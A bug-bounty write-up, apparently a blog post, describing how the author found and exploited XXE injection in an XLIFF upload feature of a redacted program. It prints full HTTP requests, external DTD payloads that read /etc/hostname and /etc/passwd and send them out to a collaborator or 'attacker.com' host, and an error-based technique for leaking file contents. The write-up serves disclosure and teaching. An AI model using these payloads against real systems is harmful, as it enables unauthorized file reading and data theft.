بسم الله الرحمن الرحيم
Some Information on this Post such as Target URL, Endpoint, and several others was modified due to Protect the Privacy of the Program
I like finding bugs in apps that have a lot of features. The more complex the application, the more likely there are bugs in it.
A Few times ago, I had the opportunity to do Bug Hunting activities in one of the Private. In this program, there is a complex application with various features. One of the features in the application is Localization. We can change the Localization of the application by uploading an XLIFF
file.
I. What is the XLIFF File?
According to the Wikipedia:
XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange.
As you can see, the XLIFF file is based on XML
. And where there’s XML, there’s probably an XXE Vulnerability.
The initial test is by adding XXE payload and pointing the request to the Burp Collaborator. I use parameter entities
for my payload because general entities
doesn’t work and I have no idea why.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /redacted-endpoint HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
The server response with an error:
1
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
But we got a hit on Burp Collaborator:
Figure 1 - Burp Collaborator Request
This confirms that the application was vulnerable to XXE Injection.
II. Exfiltrating Data via Out of Band
Next is try to exfiltrate the Local File, I create an external DTD
and host it in my VPS:
1
2
3
4
5
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % foo "
<!ENTITY % xxe SYSTEM 'https://redacted.burpcollaborator.net/?xxe=%data;'>">
%foo;
%xxe;
And the payload was modified by adding an external DTD on it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /redacted-endpoint HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Then I was able to get the content of /etc/hostname
file in the Burp Collaborator request.
Figure 2 - Retrieving the Hostname File
Based on the displayed User Agent, it appears that it is using Java 1.8. One of the problems when exploiting XXE on this version of Java is we’re unable to obtain the files containing a New Line such as /etc/passwd
using the Out-of-Band technique.
I’ve try to exfiltrate using FTP, but the content still isn’t full.
Figure 3 - Trying to Exfiltrate Data via FTP
Actually, this is enough to prove an XXE vulnerability that can be exploited to obtain Local Files. But to show the real impact, I tried to find a way to get the file in its entirety.
III. Exfiltrating Data via Error Based
Back to the Error response:
1
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
We can see that in the error message there is a URL that we put in the payload. This can be used to obtain the full contents of the Local File.
Details on this technique can be seen in this amazing video from @pwnfunction: XXE Challenge - Google CTF
The idea is by fetching the Local File and adding its content as the filename. Because the file is doesn’t exist in the server, then the server will throw an error with the name of the file which is the content of the Local File.
The initial test is by modifying the DTD to fetch the non-exist
file in the server and check if the path is reflected in the Error message.
DTD File:
1
2
3
4
5
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "
<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
Server Response:
1
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
Great! The non-exist file is reflected in the Error messages. Next is adding the File Content.
DTD File:
1
2
3
4
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
And the File was successfully extracted!
Figure 4 - Successfully Read Passwd File
The vulnerability reported with P1 severity, and now it was fixed.